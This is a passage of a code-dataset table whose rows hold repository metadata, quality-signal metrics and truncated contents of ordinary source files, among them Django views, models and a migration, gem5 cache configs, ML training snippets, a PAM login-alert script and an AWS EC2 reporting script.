hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9bbc0decb0390376acbaa65e5a7c58faddf9f153 | 516 | py | Python | scaffolder/templates/django/views.py | javidgon/wizard | a75a4c10f84c756c2466c9afaaadf3b2c0cf3a43 | [
"MIT"
] | null | null | null | scaffolder/templates/django/views.py | javidgon/wizard | a75a4c10f84c756c2466c9afaaadf3b2c0cf3a43 | [
"MIT"
] | null | null | null | scaffolder/templates/django/views.py | javidgon/wizard | a75a4c10f84c756c2466c9afaaadf3b2c0cf3a43 | [
"MIT"
] | null | null | null | from __future__ import unicode_literals
from django.views import generic
from .models import {% for model in app.models %}{{ model.name }}{% if not loop.last %}, {% endif %}{% endfor %}
{% for model in app.models %}class {{ model.name }}IndexView(generic.ListView):
model = {{ model.name }}
template_name = '... | 30.352941 | 112 | 0.656977 | 66 | 516 | 5.030303 | 0.454545 | 0.189759 | 0.060241 | 0.078313 | 0.361446 | 0.246988 | 0.246988 | 0.246988 | 0.246988 | 0 | 0 | 0 | 0.174419 | 516 | 16 | 113 | 32.25 | 0.779343 | 0 | 0 | 0.2 | 0 | 0 | 0.141473 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.3 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9bbdac1e6d8dd9f71aa6f189c3f63b6af713637c | 343 | py | Python | Dataset/Leetcode/test/11/489.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/test/11/489.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/test/11/489.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | class Solution:
def XXX(self, height: List[int]) -> int:
ans, i, j = 0, 0, len(height) - 1
while i < j:
val = min(height[i], height[j])
ans = max(val * (j - i), ans)
if height[i] == val:
i += 1
if height[j] == val:
j -=... | 26.384615 | 44 | 0.390671 | 46 | 343 | 2.913043 | 0.434783 | 0.029851 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027174 | 0.463557 | 343 | 12 | 45 | 28.583333 | 0.701087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9bc11053555c82b404c0a0cf86d08e3626d9e05f | 4,071 | py | Python | entity_resolution/EntityClass.py | GeoJamesJones/ArcGIS-Senzing-Prototype | ebe7f1c3f516525f4bfbf5b4f1446e8c6612a67b | [
"MIT"
] | null | null | null | entity_resolution/EntityClass.py | GeoJamesJones/ArcGIS-Senzing-Prototype | ebe7f1c3f516525f4bfbf5b4f1446e8c6612a67b | [
"MIT"
] | null | null | null | entity_resolution/EntityClass.py | GeoJamesJones/ArcGIS-Senzing-Prototype | ebe7f1c3f516525f4bfbf5b4f1446e8c6612a67b | [
"MIT"
] | null | null | null | from __future__ import annotations
import json
from typing import List, Dict
from entity_resolution import EntityResolution
class Entity:
def __init__(self, entity_fields: List[str],
data: List[str],
source_fields: List[str],
attr_dicts: Li... | 36.675676 | 121 | 0.561778 | 439 | 4,071 | 4.963554 | 0.154897 | 0.212024 | 0.082607 | 0.039927 | 0.305186 | 0.271684 | 0.271684 | 0.155576 | 0.155576 | 0.155576 | 0 | 0.002261 | 0.348072 | 4,071 | 110 | 122 | 37.009091 | 0.818764 | 0 | 0 | 0.25 | 0 | 0 | 0.039794 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02381 | false | 0 | 0.047619 | 0.011905 | 0.095238 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
32d7c7852b8b937ddf9034af3749422522ced7eb | 2,792 | py | Python | tests/utils/test_parser.py | ccechatelier/bcdi | cbe3b7960414b03f8e98336c3fcd7b367de441ca | [
"CECILL-B"
] | 18 | 2020-04-30T08:48:39.000Z | 2022-03-30T14:42:01.000Z | tests/utils/test_parser.py | ccechatelier/bcdi | cbe3b7960414b03f8e98336c3fcd7b367de441ca | [
"CECILL-B"
] | 78 | 2019-06-30T03:45:58.000Z | 2022-03-23T15:04:44.000Z | tests/utils/test_parser.py | ccechatelier/bcdi | cbe3b7960414b03f8e98336c3fcd7b367de441ca | [
"CECILL-B"
] | 16 | 2019-07-03T17:18:53.000Z | 2022-01-12T15:54:56.000Z | # -*- coding: utf-8 -*-
# BCDI: tools for pre(post)-processing Bragg coherent X-ray diffraction imaging data
# (c) 07/2017-06/2019 : CNRS UMR 7344 IM2NP
# (c) 07/2019-05/2021 : DESY PHOTON SCIENCE
# authors:
# Jerome Carnis, carnis_jerome@yahoo.fr
from pathlib import Path
import unittest
from bcdi.u... | 34.469136 | 87 | 0.690544 | 364 | 2,792 | 5.043956 | 0.346154 | 0.071895 | 0.089869 | 0.07244 | 0.3622 | 0.238017 | 0.166667 | 0.166667 | 0.111111 | 0.04902 | 0 | 0.02758 | 0.194842 | 2,792 | 80 | 88 | 34.9 | 0.789146 | 0.180874 | 0 | 0.043478 | 0 | 0 | 0.056637 | 0.013274 | 0 | 0 | 0 | 0 | 0.23913 | 1 | 0.282609 | false | 0 | 0.065217 | 0 | 0.391304 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
32e63e4af47da5e138ff28bb64adb55087df265e | 7,113 | py | Python | apps/etl/models.py | diudiu/featurefactory | ee02ad9e3ea66e2eeafe6e11859801f0420c7d9e | [
"MIT"
] | null | null | null | apps/etl/models.py | diudiu/featurefactory | ee02ad9e3ea66e2eeafe6e11859801f0420c7d9e | [
"MIT"
] | null | null | null | apps/etl/models.py | diudiu/featurefactory | ee02ad9e3ea66e2eeafe6e11859801f0420c7d9e | [
"MIT"
] | null | null | null | # -*- coding:utf-8 -*-
"""
common models
"""
from django.db import models
from apps.common.models import BaseModel
from apps.datasource.models import DsInterfaceInfo
class FeatureType(models.Model):
id = models.AutoField(u'主键', primary_key=True)
feature_type_desc = models.CharField(u'特征类型解释', max_length=... | 39.082418 | 111 | 0.707578 | 978 | 7,113 | 4.91002 | 0.201431 | 0.140566 | 0.149938 | 0.060183 | 0.444815 | 0.40379 | 0.384423 | 0.309038 | 0.263224 | 0.238859 | 0 | 0.021215 | 0.171658 | 7,113 | 181 | 112 | 39.298343 | 0.793788 | 0.006045 | 0 | 0.231343 | 0 | 0 | 0.114168 | 0.023259 | 0 | 0 | 0 | 0 | 0.007463 | 1 | 0.022388 | false | 0 | 0.022388 | 0.022388 | 0.723881 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
32eb29b8500dc60a31bfc242ef317ed9ccbd65b5 | 1,411 | py | Python | configs/common/ARM_A7.py | baz21/g5 | e81b0df094c5ff80fbbcc37618e81e206a3c9de9 | [
"BSD-3-Clause"
] | null | null | null | configs/common/ARM_A7.py | baz21/g5 | e81b0df094c5ff80fbbcc37618e81e206a3c9de9 | [
"BSD-3-Clause"
] | null | null | null | configs/common/ARM_A7.py | baz21/g5 | e81b0df094c5ff80fbbcc37618e81e206a3c9de9 | [
"BSD-3-Clause"
] | null | null | null |
from m5.objects import *
# https://en.wikipedia.org/wiki/Raspberry_Pi
# https://en.wikipedia.org/wiki/ARM_Cortex-A7
# Instruction Cache
class ARM_A7_ICache(Cache):
tag_latency = 1
data_latency = 1
response_latency = 1
mshrs = 2
tgts_per_mshr = 8
size = '16kB' # OK
assoc = 2
is_read_... | 20.75 | 57 | 0.649894 | 201 | 1,411 | 4.338308 | 0.383085 | 0.045872 | 0.057339 | 0.055046 | 0.341743 | 0.227064 | 0.227064 | 0.194954 | 0.194954 | 0.130734 | 0 | 0.055718 | 0.274982 | 1,411 | 67 | 58 | 21.059701 | 0.796676 | 0.216159 | 0 | 0.361702 | 0 | 0 | 0.024793 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.021277 | 0.021277 | 0 | 0.978723 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
32f8e7bf61b54b514d134bdb102d258bdc2af2ce | 669 | py | Python | Tiny ImageNet Challenge/train_data.py | Vishal-V/Mastering-TensorFlow-2.x | 83e18cf84dc5c391c5f902978ee5a80e1be4a31d | [
"MIT"
] | 3 | 2020-05-15T16:57:39.000Z | 2020-09-16T20:53:58.000Z | Tiny ImageNet Challenge/train_data.py | Vishal-V/Mastering-Tensorflow | 83e18cf84dc5c391c5f902978ee5a80e1be4a31d | [
"MIT"
] | null | null | null | Tiny ImageNet Challenge/train_data.py | Vishal-V/Mastering-Tensorflow | 83e18cf84dc5c391c5f902978ee5a80e1be4a31d | [
"MIT"
] | 4 | 2020-03-30T16:11:41.000Z | 2020-09-15T20:28:27.000Z | # Iterate over epochs.
for epoch in range(3):
print(f'Epoch {epoch+1}')
# Iterate over the batches of the dataset.
for step, x_batch_train in enumerate(train_data):
with tf.GradientTape() as tape:
reconstructed = autoencoder(x_batch_train)
# Compute reconstruction loss
loss = mse_loss(x_b... | 35.210526 | 74 | 0.707025 | 88 | 669 | 5.227273 | 0.579545 | 0.03913 | 0.071739 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01107 | 0.189836 | 669 | 19 | 75 | 35.210526 | 0.837638 | 0 | 0 | 0 | 0 | 0 | 0.120623 | 0.042802 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.181818 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
32f92084cffe12b7f31fc3604eb9852e4502b8d7 | 1,422 | py | Python | utils/generate_topics.py | ahoho/scholar | fe1b7ba590563e245e7765d100cfff091ba20c54 | [
"Apache-2.0"
] | null | null | null | utils/generate_topics.py | ahoho/scholar | fe1b7ba590563e245e7765d100cfff091ba20c54 | [
"Apache-2.0"
] | null | null | null | utils/generate_topics.py | ahoho/scholar | fe1b7ba590563e245e7765d100cfff091ba20c54 | [
"Apache-2.0"
] | null | null | null | ################################################################
# Generate top-N words for topics, one per line, to stdout
################################################################
import os
import sys
import argparse
import numpy as np
import file_handling as fh
def get_top_n_topic_words(beta, vocab, n=30):
... | 25.392857 | 70 | 0.563291 | 182 | 1,422 | 4.203297 | 0.417582 | 0.039216 | 0.023529 | 0.031373 | 0.120261 | 0.070588 | 0.070588 | 0.070588 | 0 | 0 | 0 | 0.004655 | 0.244726 | 1,422 | 55 | 71 | 25.854545 | 0.707635 | 0.083685 | 0 | 0 | 1 | 0 | 0.095197 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054054 | false | 0 | 0.135135 | 0 | 0.216216 | 0.027027 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd009473c74aa4ae5995e6b6bc84914f1edd33ca | 2,215 | py | Python | netbox/dcim/migrations/0100_application.py | fireman0865/PingBox | 0f00eaf88b88e9441fffd5173a1501e56c13db03 | [
"Apache-2.0"
] | 1 | 2021-09-23T00:06:51.000Z | 2021-09-23T00:06:51.000Z | netbox/dcim/migrations/0100_application.py | fireman0865/PingBox | 0f00eaf88b88e9441fffd5173a1501e56c13db03 | [
"Apache-2.0"
] | 2 | 2021-06-08T21:05:10.000Z | 2021-09-08T01:46:58.000Z | netbox/dcim/migrations/0100_application.py | fireman0865/PingBox | 0f00eaf88b88e9441fffd5173a1501e56c13db03 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 2.2.10 on 2020-03-04 09:21
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('virtualization', '0013_deterministic_ordering'),
('dcim', '0099_powerfeed_negative_voltage'),
]
operations... | 55.375 | 219 | 0.628442 | 229 | 2,215 | 5.938865 | 0.344978 | 0.072794 | 0.132353 | 0.158824 | 0.431618 | 0.399265 | 0.399265 | 0.269118 | 0.269118 | 0.139706 | 0 | 0.031377 | 0.223025 | 2,215 | 39 | 220 | 56.794872 | 0.758861 | 0.020767 | 0 | 0 | 1 | 0 | 0.211352 | 0.060452 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.060606 | 0 | 0.151515 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd00db8ee275e84aadc9a08c115a590eab1c8a65 | 1,934 | py | Python | pam_notify.py | aNNufriy/pamNotifier | 088ec0cb87c026a0fbc8e6275fc891bf653af645 | [
"MIT"
] | 1 | 2020-03-21T21:37:57.000Z | 2020-03-21T21:37:57.000Z | pam_notify.py | aNNufriy/pamNotifier | 088ec0cb87c026a0fbc8e6275fc891bf653af645 | [
"MIT"
] | null | null | null | pam_notify.py | aNNufriy/pamNotifier | 088ec0cb87c026a0fbc8e6275fc891bf653af645 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import os
import sys
import smtplib
import time
import syslog
import telegram
import yaml
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
# Author:: Alexander Schedrov (schedrow@gmail.com)
# Copyright:: Copyright (c) 2019 Alexander Schedrov
# License:: MIT
def ... | 33.344828 | 97 | 0.635471 | 247 | 1,934 | 4.842105 | 0.445344 | 0.045987 | 0.032609 | 0.033445 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006012 | 0.225957 | 1,934 | 57 | 98 | 33.929825 | 0.792919 | 0.068769 | 0 | 0.047619 | 0 | 0 | 0.104619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.02381 | 0.214286 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd077dfb9ba449d6f886f45f49324f828fa9d71b | 827 | py | Python | src/run_hid_4_network2.py | Naresh1318/Effect_of_injected_noise_in_deep_NN | 0d001ea2c4d33011204247cb4c066b0da6632c04 | [
"Unlicense"
] | 2 | 2016-09-11T08:47:29.000Z | 2016-11-19T10:29:47.000Z | src/run_hid_4_network2.py | Naresh1318/Effect_of_injected_noise_in_deep_NN | 0d001ea2c4d33011204247cb4c066b0da6632c04 | [
"Unlicense"
] | null | null | null | src/run_hid_4_network2.py | Naresh1318/Effect_of_injected_noise_in_deep_NN | 0d001ea2c4d33011204247cb4c066b0da6632c04 | [
"Unlicense"
] | null | null | null | import mnist_loader
import network2
import numpy as np
training_data, validation_data, test_data = mnist_loader.load_data_wrapper()
eta = 0.9
m_b_s = 10
epochs = 30
trials = 10
trial_ev = []
for t in xrange(trials):
net = network2.Network([784, 50, 50, 50, 50, 10], cost=network2.CrossEntropyCost)
net.defaul... | 33.08 | 131 | 0.732769 | 128 | 827 | 4.507813 | 0.4375 | 0.048527 | 0.041594 | 0.103986 | 0.142114 | 0.142114 | 0.142114 | 0 | 0 | 0 | 0 | 0.046283 | 0.137848 | 827 | 25 | 132 | 33.08 | 0.762973 | 0 | 0 | 0 | 0 | 0 | 0.172705 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.15 | null | null | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd08718d6dac06e0024584cff9f9907168ac0518 | 1,918 | py | Python | wsm/backend/asyncwhois/base.py | Rayologist/windows-sshd-manager | 4f78a0cdaa12fe3c2a785aca31066c3be886878b | [
"Apache-2.0"
] | 9 | 2022-02-09T09:09:43.000Z | 2022-02-09T09:10:06.000Z | wsm/backend/asyncwhois/base.py | Rayologist/windows-sshd-manager | 4f78a0cdaa12fe3c2a785aca31066c3be886878b | [
"Apache-2.0"
] | null | null | null | wsm/backend/asyncwhois/base.py | Rayologist/windows-sshd-manager | 4f78a0cdaa12fe3c2a785aca31066c3be886878b | [
"Apache-2.0"
] | null | null | null | from abc import ABC, abstractmethod
from typing import List, Any
from ipaddress import IPv4Address
from dataclasses import dataclass, FrozenInstanceError
from types import SimpleNamespace
from enum import Enum, auto
class Kind(Enum):
CREATE_WHOIS = auto()
GET_WHOIS = auto()
GET_WHOIS_BY_IP = auto()
GE... | 22.302326 | 77 | 0.688738 | 200 | 1,918 | 6.34 | 0.335 | 0.113565 | 0.086751 | 0.066246 | 0.20347 | 0.146688 | 0.146688 | 0.146688 | 0 | 0 | 0 | 0.002019 | 0.225235 | 1,918 | 85 | 78 | 22.564706 | 0.851279 | 0 | 0 | 0.393443 | 0 | 0 | 0.019812 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.114754 | false | 0.04918 | 0.098361 | 0 | 0.508197 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
fd139df441393f7003990ec4900a0d7e845e7545 | 3,994 | py | Python | MsSampleFmpDevicePkg/Tools/ConvertCerToH.py | kuqin12/mu_plus | f78c66d0508a7b884b3f73d7c86648656bf07fbb | [
"BSD-2-Clause"
] | null | null | null | MsSampleFmpDevicePkg/Tools/ConvertCerToH.py | kuqin12/mu_plus | f78c66d0508a7b884b3f73d7c86648656bf07fbb | [
"BSD-2-Clause"
] | null | null | null | MsSampleFmpDevicePkg/Tools/ConvertCerToH.py | kuqin12/mu_plus | f78c66d0508a7b884b3f73d7c86648656bf07fbb | [
"BSD-2-Clause"
] | null | null | null | ##
# Copyright (c) 2016, Microsoft Corporation
# All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions... | 33.847458 | 107 | 0.73986 | 550 | 3,994 | 5.347273 | 0.365455 | 0.091806 | 0.065284 | 0.028902 | 0.307718 | 0.234274 | 0.15913 | 0.15913 | 0.15913 | 0.086365 | 0 | 0.007032 | 0.145468 | 3,994 | 117 | 108 | 34.136752 | 0.854673 | 0.409614 | 0 | 0.307692 | 0 | 0 | 0.492395 | 0.196871 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.038462 | null | null | 0.192308 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd16505a157e42c0095152f4d85cf3c6e225daa0 | 2,899 | py | Python | webtraversallibrary/app_info.py | redfungus/webtraversallibrary | d5013edc061deba40e859dcfcda314c7055ce82a | [
"Apache-2.0"
] | null | null | null | webtraversallibrary/app_info.py | redfungus/webtraversallibrary | d5013edc061deba40e859dcfcda314c7055ce82a | [
"Apache-2.0"
] | null | null | null | webtraversallibrary/app_info.py | redfungus/webtraversallibrary | d5013edc061deba40e859dcfcda314c7055ce82a | [
"Apache-2.0"
] | null | null | null | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | 32.573034 | 111 | 0.67506 | 387 | 2,899 | 5.01292 | 0.436693 | 0.041237 | 0.021649 | 0.016495 | 0.189691 | 0.189691 | 0.189691 | 0.139175 | 0.069072 | 0.069072 | 0 | 0.003182 | 0.241118 | 2,899 | 88 | 112 | 32.943182 | 0.878636 | 0.570887 | 0 | 0.457143 | 0 | 0 | 0.105353 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057143 | false | 0.114286 | 0.057143 | 0 | 0.314286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
fd166522613f70d68340ce87a9e8c0bff5f78c6b | 4,863 | py | Python | aws_reporting.py | jeberhar/DevOpsLearner | f9dce9cf2dc6e75494c1372a339e9f13e836102d | [
"MIT"
] | null | null | null | aws_reporting.py | jeberhar/DevOpsLearner | f9dce9cf2dc6e75494c1372a339e9f13e836102d | [
"MIT"
] | null | null | null | aws_reporting.py | jeberhar/DevOpsLearner | f9dce9cf2dc6e75494c1372a339e9f13e836102d | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import boto
import boto.ec2
import sys
from boto.ec2.connection import EC2Connection
import pprint
account_string = "YOUR_ACCOUNT_STRING" #change this for each AWS account
class ansi_color: #unused class due to CSV file limitations
red = '\033[31m'
green = '\033[32m'
re... | 37.122137 | 267 | 0.584002 | 606 | 4,863 | 4.556106 | 0.272277 | 0.043463 | 0.014488 | 0.017385 | 0.123144 | 0.049258 | 0.030424 | 0.030424 | 0.030424 | 0.030424 | 0 | 0.012234 | 0.294057 | 4,863 | 130 | 268 | 37.407692 | 0.792019 | 0.215299 | 0 | 0.103448 | 0 | 0.011494 | 0.182566 | 0.014254 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.011494 | 0.057471 | null | null | 0.103448 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd1683f2abe7dd47f1cee08ed7abab26a488dbc0 | 1,832 | py | Python | code/functions/one_hop_majority_vote.py | YatongChen/decoupled_smoothing_on_graph | b5110db92841c00193577adb0f5d3daa70f46845 | [
"MIT"
] | 5 | 2019-02-25T20:05:47.000Z | 2021-06-23T21:38:52.000Z | code/functions/one_hop_majority_vote.py | YatongChen/decoupled_smoothing_on_graphs | b5110db92841c00193577adb0f5d3daa70f46845 | [
"MIT"
